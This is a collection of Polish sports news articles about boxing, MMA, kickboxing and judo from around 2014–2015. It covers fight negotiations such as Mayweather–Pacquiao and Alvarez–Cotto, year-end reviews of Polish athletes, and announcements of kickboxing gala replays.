Wszystko po to, żeby nudą nie wiało. Od dłuższego czasu pojawiają się  informacje na temat ewentualnego starcia Mayweathera z Pacquiao, powoli rozpoczynają się oficjalne negocjacje w tej kwestii. Cała sprawa trwa i trwa, ale z pewnością gra jest warta świeczki. O swoje zaczyna walczyć również Saul Alvarez. Canelo chce wielkiej walki i wielkich zaszczytów. Meksykanin za wszelką cenę chce rywalizować z Miguelem Cotto. Kwestią podstawową jest to, czy sam Portorykańczyk myśli poważnie o tym pojedynku. Canelo w mediach rozwodzi się na temat daty starcia, opowiada o rywalizacji z Cotto, jednak jego ewentualny rywal nie zabiera głosu w tej kwestii.

Z pewnością starcie Alvarez – Cotto byłoby niezwykle ciekawe i stałoby się jednym z najważniejszych bokserskich wydarzeń. Negocjacje między przedstawicielami stron trwają. Decydujące rozmowy mają odbyć się w przyszłym tygodniu. Informację tę potwierdza doradca mistrza świata federacji WBC wagi średniej Miguela Cotto, Gaby Penagaricano: – Chcemy w przyszłym tygodniu ustalić, czy idziemy w tę, czy w inną stronę.

Cierpliwości powoli brakuje już Alvarezowi, który za wszelką cenę chce walczyć 2 maja i usilnie naciska na Cotto. Canelo wystosował list otwarty, w którym zwrócił się do mistrza świata WBC. – Nie rozumiem co się obecnie dzieje. Zgodziłem się na ogromną ilość warunków, które postawił mi Miguel Cotto i miało to miejsce ponad miesiąc temu. Od tamtego czasu on nie podpisał kontraktu. Jestem młodym bokserem i może nie pamiętam zbyt wielu pojedynków z przeszłości, ale wiem, że żaden Portorykańczyk nie uciekał wcześniej przez Meksykaninem, ani żaden Meksykanin nie uciekał przed Portorykańczykiem – napisał Alvarez. Jak widać Canelo stosuje różnorakie formy nacisku na Cotto. Czy okażą się one skuteczne?

Cotto być może w ten sposób po prostu podbija stawkę. Jest mistrzem świata WBC, utytułowanym bokserem, doświadczonym i przyciąga tłumy, więc z pewnością liczy na określony zysk. Z drugiej strony, fakt, iż Portorykańczyk „z niejednego pieca chleb jadł” daje mu przewagę nad Canelo. Alvarez już na początku zdradza swoją niedojrzałość i przy każdej okazji szuka możliwości odwołania się do Cotto. Do Cotto, który milczy. Czy Portorykańczyk działa w myśl zasady: ciszej siedzisz, dalej zajedziesz?

Z pewnością rywalizacja Alvareza z Cotto byłaby jednym z najważniejszych bokserskich wydarzeń 2015 roku. Młodość kontra doświadczenie. Jaką decyzję podejmie Cotto? Kiedy zakończy się gra? A kiedy zobaczymy odcinek finałowy?

KM

Jeden krok do wielkiej walki

Conor McGregor  staje przed ogromną szansą na spełnienie swoich najskrytszych marzeń. Od wielkiego sukcesu dzieli go tylko krok. Sęk w tym, że McGregor musi pokonać tą przeszkodę. Przeszkodę, pod którą kryje się Dennis Siver.

McGregor długo wyczekiwał tej chwili. W końcu od walki o mistrzowski pas UFC w wadze piórkowej dzieli go tylko krok – musi pokonać Sivera. Do starcia fighterów dojdzie 18 stycznia – informację potwierdził prezes UFC Dan White. Warto dodać, że McGregor pod egidą organizacji walczy od kwietnia 2013 roku i po niespełna dwóch latach staje przed ogromną szansą. Jeśli pokona Sivera będzie walczył o mistrzowski pas.

McGregor dla UFC stoczył cztery pojedynki. W debiucie, w kwietniu 2013 roku, rozprawił się z Marcusem Brimage’m. Kolejną walkę stoczył sierpniu tegoż samego roku, a jego rywalem był Max Holloway. Po zaciętych trzech rundach sędziowie orzekli zwycięstwo McGregora. Potem rozprawił się z Diego Brandao, a na UFC 178 przyszło mu rywalizować z Dustinem Poirierem. McGregor już w pierwszej rundzie zastopował swojego rywala. Irlandczyk udowodnił, że ma umiejętności predysponujące go do walki o najwyższe cele. Warto dodać, że McGregor w swojej karierze rywalizował z polskim fighterem – Arturem Sowińskim. W 2011 roku Irlandczyk okazał się lepszy od naszego rodaka. Ponadto, McGregor w swojej karierze ma odnotowane tylko dwie porażki. Fighter jest niepokonany od 2011 roku!

18 stycznia stanie na wprost doświadczonego Dennisa Sivera. 35 – latek swój pierwszy pojedynek dla UFC stoczył w 2007 roku. Nie ma więc, co porównywać dokonań obu panów w tej materii. W swoim ostatnim pojedynku Siver pokonał Charlesa Rosa. Walka miała miejsce podczas UFC Fight Night: Nelson vs Story i trwała trzy rundy. O zwycięstwie Sivera zdecydowali sędziowie.

Doświadczony i sędziwy Siver będzie starał się stawić czoła McGregorowi. Ale czy realnie patrząc – ma szansę? Wszystko wskazuje na McGregora, który jest zdeterminowany i idzie jak burza po pas mistrzowski UFC wagi piórkowej. Z tym, że walka z Siverem może go przybliżyć do upragnionego celu. Pas nadal pozostaje w sferze marzeń McGregora. W przypadku wygranej Irlandczyk stanie przed szansą wywalczenie mistrzostwa.

Ewentualna walka o pas odbędzie się we wspaniałych warunkach. 90 –tysięczna publiczność, bo tyle może pomieścić Croke Park w Dublinie, gorący doping i wielki pojedynek. McGregor musi pokonać Sivera, aby w takich warunkach zmierzyć się z Jose Aldo. Wiadomo, że mistrz łatwo nie odpuści, ale czy będzie w stanie powstrzymać rozpędzonego Irlandczyka? Czy McGregor spełni swoje marzenia i zrealizuje plan zdobycia mistrzowskiego pasa? Ma ogromną szansę, aby być mistrzem. Zostały mu dwa kroki: Siver, a potem Aldo. Pierwszy może uda mu się zrobić, ale czy drugi?

KM

Marcin Held czeka na kolejną walkę

Polak swój pojedynek stoczy 10 stycznia na gali Polaris Professional Jiu Jitsu Invitational. Rywalem Marcina Helda będzie Garry Tonon.

Do rywalizacji obu panów dojdzie dzięki usunięciu z rozpiski gali walki Victor Estima vs.JT Torres. Rywal Polaka, Gary Tonon, to 22-letni Amerykanin, który szerszej publiczności zaprezentował się podczas turniejów Metamoris. Stoczył tam dwa pojedynki, które zakończyły się jego zwycięstwami. Tonon pokonał Kita Gale’a oraz Zaka Maxwella.

Walka Helda i Tonona odbędzie się w formule NO GI i trwać będzie piętnaście minut. W trakcie pojedynku nie będą przyznawane punkty. Zwycięzcą walki zostanie ten, który podda przeciwnika bądź rywal będzie niezdolny do dalszej rywalizacji. Jeśli w ciągu piętnastu minut nie zostanie wyłoniony zwycięzca to pojedynek zakończy się remisem.

Polski zawodnik wagi lekkiej staje przed kolejnym wyzwaniem. Marcin Held niejednokrotnie udowodnił już, że osiąga coraz wyższy poziom w mieszanych sztukach walki. Czy w rywalizacji z Tononem potwierdzi swoją wysoką formę?

Marcin Held jest pierwszym Polakiem, który wygrał turniej organizacji Bellator. To ogromny sukces zawodnika z Tychów, przed którym otworzyły się drzwi do wielkiej kariery. Data 26 września 2014 roku na długo utkwi w pamięci Helda, który w tym właśnie dniu święcił swój największy sukces w dotychczasowej karierze.  Polak na punkty pokonał Patricky'a "Pitbulla" Freire'a. Sędziowie nie mieli wątpliwości i punktowali jednomyślnie – 29:28, 30:26 i 30:27, a wyniki dobrze ilustrują przewagę Helda w rywalizacji z Brazylijczykiem. Zwycięstwo dało polskiemu „lekkiemu” możliwość walki o pas, a także wzbogaciło jego konto o sto tysięcy dolarów. Held łatwo nie odpuszcza. W Polsce został mistrzem MMA Challengers i w postanowił spróbować swoich sił zagranicą. Jego umiejętności doceniła organizacja Bellator, z którą w 2011 roku podpisał kontrakt. W tym samym roku wystartował w turnieju Bellatora, ale odpadł w ćwierćfinale. Dwa lata później dotarł do finału. Held przegrał rywalizację z Dave’m Jansenem. W 2014 roku nikt nie był w stanie dorównać Polakowi.

Held jako dwudziestokilkulatek bardzo dobrze radzi sobie na poziomie międzynarodowym w rywalizacji z najlepszymi fighterami. W Polsce udowodnił swoją wartość i postanowił dalej rozwijać się w Ameryce. Teraz przed nim wyzwanie pod tytułem Gary Tonon na gali Polaris Professional Jiu Jitsu Invitational. Jednak to tylko przystanek na drodze do celu. Held pokazuje, że Polak potrafi. Młody, utalentowany, ambitny, zogniskowany na cel i wygrywanie. Prawdziwy fighter, który rozwija się oraz wykorzystuje pełnię swoich możliwości. Cieszą informacje o dobrych wynikach Marcina Helda. Zawodnik, który odnosi sukcesy w Bellatorze nie jest byle kim. Warto, aby go dostrzec i docenić jego ciężką pracę. Poza tym, że świetnie walczy i wygrywa robi genialną reklamę naszym fighterom, którym często brak odwagi i determinacji, żeby podjąć wyzwanie. Held je podjął. Walka z Tononem musi zakończyć się zwycięstwem. Później przyjdzie czas na ucztę. Czy Marcin Held w pełni wykorzysta swój talent?

KM

Do walki przystąp!

Nowy Rok niesie ze sobą nowe wyzwania. Na bokserskim podwórku wszyscy interesują się kwestią rywalizacji Floyda Mayweathera Jr z Manny’m Pacquiao. Czy w 2015 roku dojdzie do tego pojedynku? Na jakich warunkach?

Należy podkreślić, że negocjacje na temat pojedynku już trwają. Nie jest to już tylko i wyłącznie medialna gra, ale rozmowy między stronami. Problemem są różnice w podejściu obu teamów do kwestii organizacji walki. Negocjacje nie należą do najłatwiejszych z wielu względów. Po pierwsze, warto odnotować, że pięściarzy łączą umowy z różnymi stacjami. Po drugie, kwestią sporną pozostaje procentowy podział zysków. Mayweather nie chce zgodzić się na 60 – 40, Money chciałby mniej korzystnego finansowo dla Pacquiao podziału. Filipińczyk uważa, że „60-40” jest jak najbardziej sprawiedliwy. Po trzecie, do ustalenia pozostaje  kwestia warunków, które muszą spełnić strony. 

Cały bokserski świat pragnie zobaczyć w ringu Maywethera i Pacquiao. Fakt, że negocjacje między stronami rozpoczęły się jest dobrym znakiem. W naciskach na Moneya nie ustaje Pacman. Filipińczyk nadal w mediach podkreśla chęć rywalizacji z Amerykaninem, choć ten ostatnio też potwierdził możliwość walki z Pacquiao. Czy na chęciach się skończy? Gotowość obu pięściarzy do rywalizacji to połowa sukcesu, reszta to negocjacje dotyczące samej walki. W tym przypadku nie należą one do najłatwiejszych. Na tym poziomie w grę wchodzą ogromne pieniądze, sponsorzy, kontrakty medialne.

Rywalizacji Mayweathera z Pacquiao nie może doczekać się sam Lennox Lewis. Legenda wagi ciężkiej uważa, że w 2015 roku Money i Pacman muszą spotkać się w ringu. Lewis porównuje zamieszanie wokół tego pojedynku, która miała miejsce w 2002 roku, kiedy to miał walczyć w Mike’m Tysonem. Rywalizujących w wadze ciężkiej bokserów łączyły kontrakty z różnymi stacjami telewizyjnymi, tak jak obecnie Mayweathera i Pacquiao. – Skończcie z tym szaleństwem i w końcu doprowadźcie do tej walki! Skoro można było doprowadzić do walki Lewis-Tysona przy współpracy telewizji HBO i Showtime, to można równie dobrze doprowadzić do drugiej historycznej walki, w której rywalami będą Mayweather i Pacquiao – powiedział Lennox Lewis.

Rywalizacja Moneya i Pacmana jest najbardziej oczekiwanym wydarzeniem bokserskim 2015 roku. Jeszcze nie raz będzie obecna w mediach. Pacquiao będzie naciskał na Mayweathera i czekał aż ten wykona kolejny ruch. Tylko czy teraz cokolwiek zależy od Maywethera? Obecnie sztaby obu bokserów muszą ustalić stanowisko, co do którego pięściarze wyrażą swoje opinie. Wydaje się, że skala przedsięwzięcia spowoduje, że telewizja i sponsorzy osiągną porozumienie. Kwestią podstawową jest, czy bokserów, a zwłaszcza Mayweathera usatysfakcjonują przewidywane zyski.

Mistrz świata federacji WBO wagi półśredniej Manny Pacquiao i  mistrz federacji WBC/WBA Floydzie Mayweatherze Jr w ringu. Kiedy? Terminu nie ma, ale negocjacje trwają. Muszą zakończyć się powodzeniem. Walka o wielką stawkę, o wielkie pieniądze, o zaszczyty, o prymat w boksie i o miejsce w historii.

KM

Rok sukcesów w kickboxingu

W mijającym roku potwierdziło się, że Polska kickboxingiem stoi. Wiele sukcesów na arenach międzynarodowych, ogromna ilość medali i poziom, który powoduje, że nasi fighterzy są czołowymi zawodnikami Europy i świata. Polska jest potęgą w kickboxingu. Kickboxingu, który coraz śmielej zagląda pod strzechy.

Worek medali zdobyli Polacy podczas mistrzostw Europy WAKO w Bilbao. Aż piętnaście krążków wywalczyli nasi reprezentanci w Hiszpanii. Podczas mistrzostw swoją pozycję potwierdziły dwie mistrzynie – Paulina Bieć i Joanna Walkiewicz. Ponadto, zdobyliśmy pięć srebrnych i osiem brązowych krążków. Warto dodać, że osiągnięcie Pauliny Bieć to nie lada wyczyn. Nasza zawodniczka obroniła tytuł mistrzyni Europy w K-1 +70 kg. Joanna Walkiewicz została najlepszą zawodniczką low-kick 48 kg. Pełnym sukcesem dla naszej reprezentacji zakończyły się mistrzostwa Europy WAKO w Mariborze. Biało – czerwoni wywalczyli czternaście medali, w tym trzy złote. Medale z najcenniejszego kruszcu zawisły na szyjach Anny Knobel w light contact 50 kg, Pauliny Jarzmik pointfighting 65 kg oraz Kacpra Narlocha w kick-light 57 kg. Warto podkreślić również zdobycz medalową naszych reprezentantów. Leszek Jobs w light-contact 94 kg oraz Wojciech Wiśniewski w light-contact 84 kg sięgnęli po brązowe krążki. Mistrz świata Kamil Ruta sięgnął po srebrny medal w kick – light.

We wrześniu we włoskim Rimini odbyły się Mistrzostwa Świata Kadetów i Juniorów WAKO. Nasi reprezentanci nie zawiedli i pokazali siłę oraz potencjał polskiego kickboxingu. Biało – czerwoni wywalczyli aż pięćdziesiąt siedem medali. Najlepszymi z najlepszych okazali się Aleksander Stawirej w full contact 91 kg, Jakub Jaskuła (+81 kg), Ewa Pietrzykowska (56 kg) i Kacper Frątczak (81 kg) w K-1, Michał Adamek (+ 69 kg), Jolanta Cichoń (65 kg), Patryk Muller (79 kg), Robert Wroński (84 kg) i Jakub Dąbrowski (+94 kg) w kick-light, Jakub Filipek (67 kg) oraz Dominika Gleisner (60 kg) w low- kick.

""

Ogromny sukces w minionym roku odniosła Iwona Nieroda, która zdobyła pas mistrzyni świata WAKO PRO Low Kick w kategorii do 56 kg. Podczas mistrzostw globu w Turcji Polka okazała się najlepsza. Jednakże nie był to pierwszy sukces w karierze Nierody, gdyż już rok wcześniej wywalczyła ona mistrzostwo świata. W Turcji potwierdziła swoją dominację i obroniła tytuł.

W Zgorzelcu wielki sukces osiągnął Wojciech Wierzbicki. Nasz zawodnik sięgnął po zawodowe mistrzostwo Europy WAKO-PRO Low-Kick kat-75 kg. Ogromny sukces Wierzbickiego, który nie był faworytem starcia z Włochem Andreą Andrenaccim.

Na polskim rynku pojawił się powiew świeżości. Grupa DSF zorganizowała dwie gale kickboxingu. Prawdziwe show, wypełnione pojedynkami najlepszych fighterów, organizacja na bardzo wysokim poziomie. Gwiazdami gal grupy DSF byli tacy zawodnicy jak Dorota Godzina, Kamil Ruta czy Łukasz Wichowski. Grupa DSF zapowiada kolejne gale. Czy dzięki temu kickboxing zajrzy pod strzechy?

Rok 2014 dla polskiego kickboxingu był pełen medali. Jesteśmy mocną ekipą, która z każdej imprezy przywozi medale. Nasi fighterzy zaliczani są do światowej czołówki. Polski kickboxing ma ogromny potencjał. Czy potwierdzi się to w 2015 roku?

KM

Nadzieja na medal w Rio

Poczynania naszych zawodników w judo w mijającym roku są dobrym prognostykiem. Coraz głośniej mówi się o szansach medalowych naszych reprezentantów na Igrzyskach Olimpijskich w Rio de Janeiro. Rok 2014 obfitował w liczne sukcesy Polaków. Bardzo dobre występy na międzynarodowych turniejach i upragniony medal na mistrzostwach świata.

Jedenaście lat musieliśmy czekać na medal mistrzostw świata w judo. W Czelabińsku Katarzyna Kłys  (-70 kg) wywalczyła brązowy medal. Ogromny sukces naszej zawodniczki,  która ma za sobą bardzo udany rok. Kłys zdobywała medal na zawodach Grand Prix i Grand Slam. Warto dodać, że w minionym roku ogromny sukces odniosła reprezentacja Polski kobiet. Podczas mistrzostw świata w Czelabińsku nasza drużyna zajęła 5.miejsce. W półfinale Polki uległy Mongolii, a w rywalizacji o brązowy medal przegrały z Niemkami. W Czelabińsku nasza reprezentacja wystąpiła w składzie: -52kg Karolina Pieńkowska, -57kg Arleta Podolak, -63kg Agata Ozdoba, -70kg Katarzyna Kłys, +70kg Daria Pogorzelec i Katarzyna Furmanek. Medale zdobyliśmy również we Francji. Mistrzostwa Europy w Montepellier szczególnie udane były dla Agaty Ozdoby. Nasza judoczka we Francji sięgnęła po brązowy medal indywidualnie i drużynowo.

Polska była organizatorem Młodzieżowych Mistrzostw Europy U-23 w judo. Impreza odbyła się we Wrocławiu. Organizacja zawodów stała na wysokim poziomie i szkoda tylko, że wynik sportowy nie zachwycił. Polska wywalczyła jeden medal, choć nadzieje były większe. Po srebrny medal sięgnął Łukasz Kiełbasiński. Kolejna mistrzowska impreza i kolejne sukcesy. Mistrzostwa Europy Juniorek w Bukareszcie przyniosły nam radość – dwa medale. Jeden z najcenniejszego kruszcu przypadł Annie Borowskiej (-57 kg). Srebro wywalczyła Beata Pacut (-78 kg).

""

Bardzo dobry rok za Darią Pogorzelec, która wróciła do rywalizacji po urodzeniu dziecka. Nasza zawodniczka dwukrotnie wygrała turnieje międzynarodowe. Pogorzelec okazała się najlepsza podczas Pucharu Świata w Tallinie oraz Grand Prix w Taszkiencie.  Również Aleksander Beta triumfował podczas Pucharu Świata w Tallinie. Dobry sezon ma za sobą również Maciej Sarnacki, który znacząco awansował w światowym rankingu. Polski judoka (+100 kg) zdobywał brązowe medale podczas Grand Slamów w Rosji i Zjednoczonych Emiratach Arabskich oraz Grand Prix w Korei Południowej.

Rok 2014 pokazał, że judo zdecydowanie lepiej wygląda w wydaniu kobiecym niż na polu męskim. Katarzyna Kłys z medalem mistrzostw świata, bardzo dobry sezon Darii Pogorzelec i Agaty Ozdoby. Drużyna kobiet zaprezentowała wysoki poziom umiejętności podczas mistrzostw Europy oraz mistrzostw świata. Wśród panów z dobrej strony pokazali się Maciej Sarnacki, Aleksander Beta, Kamil Grabowski oraz Łukasz Kiełbasiński. Należy pamiętać o Arlecie Podolak, której nie udało się zdobyć medalu na mistrzostwach we Wrocławiu, ale ma ogromny talent i istotne, aby ustawicznie rozwijała się i osiągała sukcesy.

Wyniki naszych judoków w 2014 roku pozwalają nam realnie myśleć o medalu na Igrzyskach Olimpijskich w Rio. To jest główny cel. Obecnie sportowo judo wygląda dobrze, gorzej z władzami, gdzie dochodzi do konfliktów i tarć. Obecnie w Polskim Związku Judo jest kurator. Głównym celem na 2015 rok jest usunięcie tych problemów, uspokojenie sytuacji i powrót na prostą. Bo sportowo judo wraca na właściwe tory. Oby 2015 rok potwierdził dobry stan tej dyscypliny sportu i dał podwaliny pod sukces w Rio.

KM

KSW nadal mocne

Kończący się rok jest okazją do podsumowań. W polskim MMA byliśmy świadkami wielu interesujących walk, mieszane sztuki walki rozwijają się i zyskują na popularności w naszym kraju. Niezachwianą pozycję na polskim rynku ma nadal federacja KSW.

KSW czyni kolejne kroki na drodze rozwoju MMA w Polsce i pełnej profesjonalizacji organizowanych imprez. W 2014 roku walki podczas gal zaczęły odbywać się w klatkach, zrezygnowano z pojedynków w ringu. KSW upodabnia się do UFC i udostępnia zawodnikom pole do prezentowania widowiskowych akcji.

Rok 2014 przyniósł nowinę o starciu Tomasza Drwala z Mamedem Khalidovem. Tylko przyniósł, bo do starcia ostatecznie nie doszło. Obaj panowie mają spotkać się w klatce w 2015 roku. Z pewnością będzie to szczególne wydarzenie dla KSW i publiczności, gdyż dojdzie do starcia dwóch najbardziej cenionych w Polsce fighterów. Ciśnienie stopniowo wzrastało, wszyscy z niecierpliwością wyczekiwali walki, jednak kontuzja Drwala uniemożliwiła spotkanie z Khalidovem. Po entuzjastycznej informacji o pojedynku tych dwóch fighterów przyszło ostudzić nastroje. Teraz pozostaje oczekiwać.

Co do Khalidova, po raz pierwszy od dawien dawna Czeczen z polskim obywatelstwem zmuszony był rywalizować na pełnym dystansie. Wymagającym rywalem dla Mameda okazał się Brett Cooper. Khalidov walczył z kontuzją, co było dodatkowym utrudnieniem. Ponadto, Cooper wysoko postawił poprzeczkę. Mimo to Khalidov wygrał i nadal pozostaje czołowym polskim fighterem. Warto zwrócić uwagę na największy postęp 2014 roku. Borys Mańkowski zrobił ogromny krok naprzód i w tej chwili jest jedną z jaśniejszych postaci w hierarchii mieszanych sztuk walki w Polsce.

Ostatnią walkę w swojej karierze stoczył Paweł Nastula, który podczas KSW 29 w Krakowie rywalizował z Mariuszem Pudzianowskim. Mistrz olimpijski w Atlancie przegrał po dogrywce z Pudzianem i powiedział: „dość”. Nastula zaprezentował się światu jako wybitny judoka i jeden z pierwszych polskich zawodników walczących w MMA.

Dla polskiego MMA rok 2014 był również istotny pod względem zagranicznych poczynań. Należy zwrócić uwagę na dwa nazwiska: Joanna Jędrzejczyk oraz Jan Błachowicz. Jędrzejczyk zadebiutowała w UFC, gdzie stoczyła dwie walki. Obie wygrała. Druga walka w UFC z Claudią Gadelhą bardzo przybliżyła Polkę do pojedynku o pas mistrzowski. Z kolei Błachowicz w swoim debiucie pokonał doświadczonego Ilira Latifiego. Polak nie był faworytem pojedynku, a jednak wygrał i zrobił wrażenie na ekspertach. Z pewnością przyszłość Błachowicza w UFC rysuje się ciekawie.

Wielkie chwile w 2014 roku przeżywał Marcin Held. Młody fighter wygrał turniej Bellatora w kategorii wagi lekkiej. Held systematycznie się rozwija i osiąga sukcesy na arenie światowej.  Pierwszą walkę z MMA wygrał Marcin Najman, który pokonał Słowaka Michala Dobiasa przez duszenie.

Co przyniesie 2015 rok? Po raz pierwszy gala KSW odbędzie się poza Polską. 31 października najlepsi fighterzy będą gościć na Wembley Arenie. W 2015 roku z pewnością w klatce zobaczymy wreszcie Tomasza Drwala i Mameda Kahlidova. Liczymy na udane występy poza granicami kraju Joanny Jędrzejczyk, Jana Błachowicza, Marcina Helda i triumfy innych naszych rodaków.

KM

Mistrza nie ma, show trwa

Polska nie ma już mistrza świata z boksie. Krzysztof „Diablo” Włodarczyk stracił pas WBC w kategorii junior ciężkiej. Na świecie najgłośniej było o Floydzie Mayweatherze Jr. Co działo się w 2014 roku?

Niepodzielnie na ringach panuje nadal Wladimir Kliczko. Ukrainiec dzierży w swoich dłoniach cztery pasy mistrzowskie w wadze ciężkiej. W 2014 roku Kliczko stoczył dwa pojedynki. Rzecz jasna, w obu wypadkach były to walki zwycięskie. W kwietniu Kliczko pokonał Alexa Leapaia, a w listopadzie okazał się lepszy od Kubrata Pulewa. Kto będzie kolejnym rywalem Ukraińca? Jennings, Briggs, Fury – to Ci, którzy chcieliby stanąć w ringu z Kliczko.

""

 Najpotężniejszym bokserskim nazwiskiem pozostaje nadal Floyd Mayweather Jr. Magia jego nazwiska przyciąga nie tylko kolejnych rywali, ale sponsorów, media i widzów. Za Mayweatherem podążają ogromne pieniądze. Czy to nie jest główny powód wielkiego zainteresowania jego osobą ze strony innych pięściarzy?  W 2014 roku Money dwukrotnie walczył z Marcosem Maidaną. Obie walki Mayweather wygrał, ale rozstrzygnięcie pierwszego pojedynku zrodziło wiele wątpliwości. Kto kolejny stanie w ringu z Moneyem? Najbliżej jest Manny Pacquiao, o czym mówi sam Amerykanin, który pojedynek ten planuje na 2 maja. Rywalizować z Mayweatherem chcieliby: Khan, Cotto, Alvarez. Money ma wybór – to on rozdaje karty. Pewne jest, że jeśli doszłoby do starcia Mayweather –  Pacquiao to byłoby to sportowe wydarzenie roku 2015. Kto wie, czy nie marketingowe i biznesowe.

Dla polskich fanów boksu rok 2014 był rozczarowujący ze względu na fakt, iż straciliśmy jedyny tytuł mistrza świata. Krzysztof „Diablo” Włodarczyk musiał pogodzić się z porażką w pojedynku z Grigorijem Drozdem. Tym samym Polak stracił pas WBC w kategorii junior ciężkiej. Diablo w 2014 roku nie stoczył kolejnej walki, przeszedł artroskopię prawego barku i w 2015 roku ma wrócić na ring, aby podjąć próbę powrotu na szczyt. Czy ta próba będzie udana? W mijającym roku potknięcie zaliczył Mateusz Masternak, który jest wielką nadzieją polskiego boksu. Popularny Master przegrał niespodziewanie z Yourim Kalengą, co obniżyło jego pozycję w hierarchii. Jednak Masternak w kolejnej walce zrehabilitował się, pokazał klasę i zwyciężył. Master pokonał Jeana – Marca Mormecka.

W 2014 roku przed ogromną szansą stanął Paweł Głażewski. Głaz mógł zdobyć pas WBA wagi półciężkiej, jednak okazał się gorszy od Jurgena Brahmera. Mogliśmy mieć mistrza świata, jednak Głażewski nie udźwignął ciężaru wyzwania i wytrzymał w ringu zaledwie czterdzieści trzy sekundy.

Coraz pewniej poczyna sobie Andrzej Fonfara. W maju Polak uporał się z Adonisem Stevensonem, w listopadzie pokonał Doudou Ngumbu. Fonfara jest na najlepszej drodze do walki o mistrzowski pas wagi półciężkiej. Polak ma ugruntowaną pozycję w swojej kategorii wagowej, kroczy od zwycięstwa do zwycięstwa. Czy zrealizuje nasze marzenia o mistrzowskim pasie?

""

Rok 2014 był również rokiem pożegnań. Ostatnią, choć tak naprawdę pokazową, walkę stoczył Andrzej Gołota. Andrew zmierzył się z Danelem Nicholsonem w Częstochowie. Symbol polskiego boksu oficjalnie zakończył karierę. Artur Szpilka okazał się lepszy od Tomasza Adamka. Góral przegrał ze Szpilą, choć wydawało się, że jest faworytem starcia z młokosem. Szpila wykazał się dojrzałością i spokojem w ringu. Adamek nie wytrzymał pojedynku kondycyjnie, nie był w stanie przeciwstawić się sile rywala. Szpilka na szczycie polskiej wagi ciężkiej.

Bardzo dobry rok za Ewą Brodnicką, która jest ikoną polskiego boksu kobiecego. W 2014 roku sięgnęła po pas WBF International kategorii junior półśredniej. W ostatnim pojedynku w minionym roku „Królowa” okazała się lepsza od Galiny Gumliiskiej. Po dwuletniej przerwie na ring wrócił Mariusz Wach, który pokonał Samira Kurtagicia. Ponadto, Wiking stoczył w 2014 roku jeszcze jeden pojedynek. Rywalizacja z Travisem Walkerem również zakończyła się triumfem Wacha.

Kliczko i Mayweather to najmocniejsze bokserskie nazwiska na świecie. Ukrainiec i Amerykanin rozdają karty, o nich najwięcej mówi się i pisze. Do nich należy największa władza, pieniądze i sympatia publiczności. Czy będą dominowali w 2015 roku? Miniony rok dla polskiego boksu był umiarkowany. Cieniem kładzie się utrata mistrzowskiego pasa przez Krzysztofa Włodarczyka. Bardzo dobrze rozwija się kariera Ewy Brodnickiej. Nadzieje należy pokładać w Andrzeju Fonfarze i Mateuszu Masternaku.

KM

Retransmisja gali DSF Kickboxing Challenge 3 w jakości SD

Zapraszamy na retransmisję z gali DSF KICKBOXING CHALLENGE "Bitwa w Piasecznie", która odbyła się 28 lutego br. w Piasecznie k/Warszawy. Wspaniałe walki w formułach K-1 i Full Contact, wspaniała oprawa i niesamowite emocje. Retransmisję prowadzimy w dwóch jakościach – obecna jest w jakości SD. Dla osób, które dysponują mocnym łączem internetowym zapraszamy do działu PROGRAM znajdziecie tam retransmisję w jakości HD. ZAPRASZAMY!!!

[kod]

Retransmisja gali DSF Kickboxing Challenge 3 w jakości HD

Zapraszamy na retransmisję z gali DSF KICKBOXING CHALLENGE "Bitwa w Piasecznie", która odbyła się 28 lutego br. w Piasecznie k/Warszawy. Wspaniałe walki w formułach K-1 i Full Contact, wspaniała oprawa i niesamowite emocje. Retransmisję prowadzimy w dwóch jakościach – obecna jest w jakości HD. Dla osób, które dysponują słabszym łączem internetowym zapraszamy do działu PROGRAM znajdziecie tam retransmisję w jakości SD. ZAPRASZAMY!!!

[kod]

PREMIERA: Retransmisja gali DSF Kickboxing Challenge 2

Zapraszamy na premierową retransmisję gali DSF Kickboxing Challenge 2. Startujemy w pierwszy dzień świąt 25 grudnia o godz. 18.00. Retransmisję możecie oglądać w dwóch jakościach SD i HD. Poniżej możecie wybrać jakość transmisji w zależności od posiadanego łącza internetowego.

Przed galą przygotowaliśmy także krótkie wywiady przeprowadzone z zawodnikami i zawodniczkami gali DSF KICKBOXING CHALLENGE 2 przez znanego z KSW Artura Przybysza.

Poza retransmisją w pierwszy dzień świąt przygotowaliśmy dla wszystkich, którzy nie będą mogli obejrzeć gali drugą retransmisję w drugi dzień świąt o godz. 17.00.

RETRANSMISJA w jakości SD – kliknij tutaj

RETRANSMISJA w jakości HD – kliknij tutaj

Canelo wraca i czeka na Cotto

Saul "Canelo" Alvarez swoją najbliższą walkę stoczy 2 maja 2015 roku. Pięściarz z powodu kontuzji nie stanął do rywalizacji z Joshuą Clotteyem, która miała mieć miejsce w grudniu. Teraz chce podjąć rywala z mocnym nazwiskiem.

Alvarez za cel wyznaczył sobie pojedynek z mistrzem świata federacji WBC wagi średniej Miguelem Cotto. Negocjacje na temat pojedynku nadal trwają i warto zaznaczyć, że nie należą do najłatwiejszych. Alvarez podkreśla, że bierze pod uwagę rywalizację z innym przeciwnikiem.  Rozmowy z Cotto są trudne, jednakże Portorykańczyk ma prawo stawiać żądania. W końcu jest mistrzem świata. Alvarez podchodzi do całej sprawy spokojnie i nie prowadzi medialnej gry. – Jestem gotowy na rywalizację z Cotto, jednak on jest na dzień dzisiejszy jedną z opcji. Nie chcę wysyłać w jego kierunku żadnych wiadomości. Nie prowokuję swoich rywali w mediach – powiedział meksykański bokser.

Negocjacje na temat pojedynku w imieniu Alvareza prowadzi Oscar de La Hoya. Z kolei Canelo udał się na odpoczynek. – Obecnie jestem na wakacjach. Przechodzę rehabilitację, gdyż mam problemy ze stopą. Do końca roku będę odpoczywał, a w styczniu wrócę na salę treningową, aby rozpocząć przygotowania do majowej walki. Alvarez jest zdeterminowany, aby jego kolejny pojedynek odbył się w maju, gdyż piąty dzień tego miesiąca jest niezwykle ważny dla mieszkańców Meksyku. 5 maja 1862 roku pod Pueblą wojska meksykańskie pokonały armię francuską i po dziś dzień jest to niezwykle istotna data w historii tego kraju. Dlatego też Canelo chce sprawić swoim rodakom dodatkową radość.

